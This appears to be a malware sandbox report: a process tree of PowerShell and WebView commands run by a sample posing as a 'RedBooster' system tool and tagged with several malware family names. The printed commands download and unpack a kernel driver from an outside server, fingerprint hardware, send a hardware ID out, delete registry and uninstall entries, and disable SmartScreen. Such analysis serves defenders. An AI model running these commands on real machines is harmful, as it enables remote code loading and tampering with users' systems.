    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\net.redbooster.app\EBWebView" --webview-exe-name=2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe --webview-exe-version=5.3.1 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --edge-webview-custom-scheme --no-appcompat-clear --mojo-platform-channel-handle=2100 --field-trial-handle=1752,i,5852216063266996758,6111214356741637136,262144 --enable-features=MojoIpcz --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version /prefetch:3 /pfhostedapp:eba7e9b400d65d6cea39c08c754997b4a7de1eaa
    3⤵
    PID:4992
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\net.redbooster.app\EBWebView" --webview-exe-name=2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe --webview-exe-version=5.3.1 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --edge-webview-custom-scheme --no-appcompat-clear --mojo-platform-channel-handle=2304 --field-trial-handle=1752,i,5852216063266996758,6111214356741637136,262144 --enable-features=MojoIpcz --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version /prefetch:8 /pfhostedapp:eba7e9b400d65d6cea39c08c754997b4a7de1eaa
    3⤵
    PID:5592
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\net.redbooster.app\EBWebView" --webview-exe-name=2026-08-09_dce77eeca7959c65260ddd705f505ceb_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe --webview-exe-version=5.3.1 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --edge-webview-custom-scheme --no-appcompat-clear --autoplay-policy=no-user-gesture-required --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --js-flags="--harmony-weak-refs-with-cleanup-some --expose-gc --ms-user-locale=" --mojo-platform-channel-handle=3272 --field-trial-handle=1752,i,5852216063266996758,6111214356741637136,262144 --enable-features=MojoIpcz --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version /pfhostedapp:eba7e9b400d65d6cea39c08c754997b4a7de1eaa /prefetch:1
    3⤵
    PID:2496
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$ErrorActionPreference='SilentlyContinue' $old = Join-Path $env:ProgramFiles 'RedBooster' $cur = 'C:\Users\Admin\AppData\Local\Temp' if((Test-Path (Join-Path $old 'redbooster.exe')) -and ($old.TrimEnd('\').ToLower() -ne $cur.TrimEnd('\').ToLower())){ $oldl = $old.ToLower() # Remove any Desktop / Start-Menu shortcut (per-user AND all-users) that points into the old dir. $sh = New-Object -ComObject WScript.Shell $dirs = @( (Join-Path $env:PUBLIC 'Desktop'), ([Environment]::GetFolderPath('Desktop')), (Join-Path $env:ProgramData 'Microsoft\Windows\Start Menu\Programs'), (Join-Path $env:APPDATA 'Microsoft\Windows\Start Menu\Programs') ) foreach($d in $dirs){ Get-ChildItem -LiteralPath $d -Recurse -Filter '*.lnk' -EA SilentlyContinue | ForEach-Object { $t=''; try{ $t=$sh.CreateShortcut($_.FullName).TargetPath }catch{} if($t -and $t.ToLower().StartsWith($oldl)){ Remove-Item -LiteralPath $_.FullName -Force -EA SilentlyContinue } } } # Remove the old HKLM uninstall entry (Add/Remove Programs) whose install path points at the old dir. foreach($root in @('HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall','HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall')){ Get-ChildItem $root -EA SilentlyContinue | ForEach-Object { $pp = Get-ItemProperty $_.PSPath -EA SilentlyContinue $il = (''+$pp.InstallLocation).TrimEnd('\').ToLower(); $di = (''+$pp.DisplayIcon).ToLower() if(($il -and $il -eq $oldl) -or ($di.StartsWith($oldl))){ Remove-Item -LiteralPath $_.PSPath -Recurse -Force -EA SilentlyContinue } } } # Finally remove the orphaned files. Remove-Item -LiteralPath $old -Recurse -Force -EA SilentlyContinue }"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4932
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$ErrorActionPreference='SilentlyContinue' $mp='HKLM:\SYSTEM\CurrentControlSet\Services\mouclass\Parameters' $kp='HKLM:\SYSTEM\CurrentControlSet\Services\kbdclass\Parameters' $hit=$false if($null -ne (Get-ItemProperty $mp -Name MouseDataQueueSize -EA SilentlyContinue).MouseDataQueueSize){ $hit=$true } if($null -ne (Get-ItemProperty $kp -Name KeyboardDataQueueSize -EA SilentlyContinue).KeyboardDataQueueSize){ $hit=$true } Remove-ItemProperty $mp -Name MouseDataQueueSize -Force -ErrorAction SilentlyContinue Remove-ItemProperty $kp -Name KeyboardDataQueueSize -Force -ErrorAction SilentlyContinue if($hit){ 'RBHEAL_HIT' }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5104
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};try { $r = Invoke-RestMethod -Uri 'https://privateredeyeapi.com/?action=StatsBooster' -TimeoutSec 10 -UseBasicParsing -Headers @{'User-Agent'='RedBooster'}; ('{0}|{1}' -f [int]$r.total, [int]$r.online) } catch { '0|0' }"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3376
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "Add-Type -AssemblyName System.Windows.Forms; Add-Type -AssemblyName System.Drawing; $n=New-Object System.Windows.Forms.NotifyIcon; $n.Icon=[System.Drawing.SystemIcons]::Warning; $n.Visible=$true; $n.ShowBalloonTip(8000,'Restart to finish','RedBooster removed an old setting that was making your mouse or keyboard unresponsive. Please restart your PC to complete the fix.',[System.Windows.Forms.ToolTipIcon]::Warning); $end=(Get-Date).AddSeconds(8); while((Get-Date) -lt $end){ [System.Windows.Forms.Application]::DoEvents(); Start-Sleep -Milliseconds 100 }; $n.Dispose()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:2380
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5612
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$v=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue | Select-Object -ExpandProperty CurrentTemperature; if($v){ ($v | ForEach-Object { [math]::Round($_/10-273.15,1) }) -join ',' } else { '' }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2364
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$ErrorActionPreference='Stop'; try { $r = Invoke-WebRequest -Uri 'https://privateredeyeapi.com/modules/catalog.json' -UseBasicParsing -TimeoutSec 20 -Headers @{'User-Agent'='RedBooster'}; $b = if ($r.RawContentStream) { $r.RawContentStream.ToArray() } else { [Text.Encoding]::UTF8.GetBytes($r.Content) }; Write-Output ('RB_B64:' + [Convert]::ToBase64String($b)) } catch { }"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:508
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$u='https://privateredeyeapi.com/?action=MaintGetBooster' try{[Net.ServicePointManager]::SecurityProtocol=[Net.ServicePointManager]::SecurityProtocol -bor 3072}catch{}; try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{}; try{$resp=Invoke-WebRequest -Uri $u -TimeoutSec 10 -UseBasicParsing -Headers @{'User-Agent'='RedBooster'}; [System.Text.Encoding]::UTF8.GetString($resp.RawContentStream.ToArray())}catch{try{$r=$_.Exception.Response;if($r){$s=New-Object System.IO.StreamReader($r.GetResponseStream(),[System.Text.Encoding]::UTF8);$s.ReadToEnd()}else{''}}catch{''}}"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:260
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$u='https://privateredeyeapi.com/?action=NewsBooster' try{[Net.ServicePointManager]::SecurityProtocol=[Net.ServicePointManager]::SecurityProtocol -bor 3072}catch{}; try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{}; try{$resp=Invoke-WebRequest -Uri $u -TimeoutSec 10 -UseBasicParsing -Headers @{'User-Agent'='RedBooster'}; [System.Text.Encoding]::UTF8.GetString($resp.RawContentStream.ToArray())}catch{try{$r=$_.Exception.Response;if($r){$s=New-Object System.IO.StreamReader($r.GetResponseStream(),[System.Text.Encoding]::UTF8);$s.ReadToEnd()}else{''}}catch{''}}"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4756
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$u=(Get-CimInstance Win32_ComputerSystemProduct -ErrorAction SilentlyContinue).UUID;$b=(Get-CimInstance Win32_BaseBoard -ErrorAction SilentlyContinue).SerialNumber;$p=(Get-CimInstance Win32_Processor -ErrorAction SilentlyContinue | Select-Object -First 1).ProcessorId;\"$u|$b|$p\""
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2348
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3460
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:600
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:5652
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:5016
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:1860
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$u='https://privateredeyeapi.com/?action=AdminCheckBooster' $u+='&hwid='+[uri]::EscapeDataString('WU6j5DQe77S27wyDYeu7dUAaJTv5ou0TD0YjUrW9R3A') try{[Net.ServicePointManager]::SecurityProtocol=[Net.ServicePointManager]::SecurityProtocol -bor 3072}catch{}; try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{}; try{$resp=Invoke-WebRequest -Uri $u -TimeoutSec 12 -UseBasicParsing -Headers @{'User-Agent'='RedBooster'}; [System.Text.Encoding]::UTF8.GetString($resp.RawContentStream.ToArray())}catch{try{$r=$_.Exception.Response;if($r){$s=New-Object System.IO.StreamReader($r.GetResponseStream(),[System.Text.Encoding]::UTF8);$s.ReadToEnd()}else{''}}catch{''}}"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  PID:6444
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$ErrorActionPreference='Stop';try {$tools='C:\Users\Admin\AppData\Local\RedBooster\tools';New-Item -ItemType Directory -Force -Path $tools | Out-Null;$zip=Join-Path $env:TEMP 'rb_iodriver.zip';Invoke-WebRequest -Uri 'https://privateredeyeapi.com/tools/iodriver.zip' -OutFile $zip -Headers @{'User-Agent'='RedBooster'} -TimeoutSec 60 -UseBasicParsing;Expand-Archive -Path $zip -DestinationPath $tools -Force;Remove-Item $zip -Force -ErrorAction SilentlyContinue;$sysfile=Join-Path $tools 'iodriver\inpoutx64.sys';if(-not (Test-Path $sysfile)){'ERR_NOFILE'; exit};$sig=Get-AuthenticodeSignature -FilePath $sysfile;if($sig.Status -ne 'Valid'){Remove-Item $sysfile -Force -ErrorAction SilentlyContinue; 'ERR_SIG:'+$sig.Status; exit};$subj=\"$($sig.SignerCertificate.Subject)\";if($subj -notlike '*Red Fox UK Limited*'){Remove-Item $sysfile -Force -ErrorAction SilentlyContinue; 'ERR_SIGNER:'+$subj; exit};'OK'} catch { 'ERR:'+$_.Exception.Message }"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  PID:6636
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$u='https://privateredeyeapi.com/?action=ForceGetBooster' try{[Net.ServicePointManager]::SecurityProtocol=[Net.ServicePointManager]::SecurityProtocol -bor 3072}catch{}; try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{}; try{$resp=Invoke-WebRequest -Uri $u -TimeoutSec 8 -UseBasicParsing -Headers @{'User-Agent'='RedBooster'}; [System.Text.Encoding]::UTF8.GetString($resp.RawContentStream.ToArray())}catch{try{$r=$_.Exception.Response;if($r){$s=New-Object System.IO.StreamReader($r.GetResponseStream(),[System.Text.Encoding]::UTF8);$s.ReadToEnd()}else{''}}catch{''}}"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  PID:7088
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$u='https://privateredeyeapi.com/?action=GatesGetBooster' try{[Net.ServicePointManager]::SecurityProtocol=[Net.ServicePointManager]::SecurityProtocol -bor 3072}catch{}; try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{}; try{$resp=Invoke-WebRequest -Uri $u -TimeoutSec 10 -UseBasicParsing -Headers @{'User-Agent'='RedBooster'}; [System.Text.Encoding]::UTF8.GetString($resp.RawContentStream.ToArray())}catch{try{$r=$_.Exception.Response;if($r){$s=New-Object System.IO.StreamReader($r.GetResponseStream(),[System.Text.Encoding]::UTF8);$s.ReadToEnd()}else{''}}catch{''}}"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  PID:7096
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$u='https://privateredeyeapi.com/?action=BanCheckBooster' $u+='&hwid='+[uri]::EscapeDataString('WU6j5DQe77S27wyDYeu7dUAaJTv5ou0TD0YjUrW9R3A') $u+='&key='+[uri]::EscapeDataString('') try{[Net.ServicePointManager]::SecurityProtocol=[Net.ServicePointManager]::SecurityProtocol -bor 3072}catch{}; try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{}; try{$resp=Invoke-WebRequest -Uri $u -TimeoutSec 10 -UseBasicParsing -Headers @{'User-Agent'='RedBooster'}; [System.Text.Encoding]::UTF8.GetString($resp.RawContentStream.ToArray())}catch{try{$r=$_.Exception.Response;if($r){$s=New-Object System.IO.StreamReader($r.GetResponseStream(),[System.Text.Encoding]::UTF8);$s.ReadToEnd()}else{''}}catch{''}}"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  PID:7140
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$u='https://privateredeyeapi.com/?action=AdminCheckBooster' $u+='&hwid='+[uri]::EscapeDataString('WU6j5DQe77S27wyDYeu7dUAaJTv5ou0TD0YjUrW9R3A') try{[Net.ServicePointManager]::SecurityProtocol=[Net.ServicePointManager]::SecurityProtocol -bor 3072}catch{}; try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{}; try{$resp=Invoke-WebRequest -Uri $u -TimeoutSec 12 -UseBasicParsing -Headers @{'User-Agent'='RedBooster'}; [System.Text.Encoding]::UTF8.GetString($resp.RawContentStream.ToArray())}catch{try{$r=$_.Exception.Response;if($r){$s=New-Object System.IO.StreamReader($r.GetResponseStream(),[System.Text.Encoding]::UTF8);$s.ReadToEnd()}else{''}}catch{''}}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6956
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6388
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1764
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6360
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1524
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1348
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1448
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3564
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
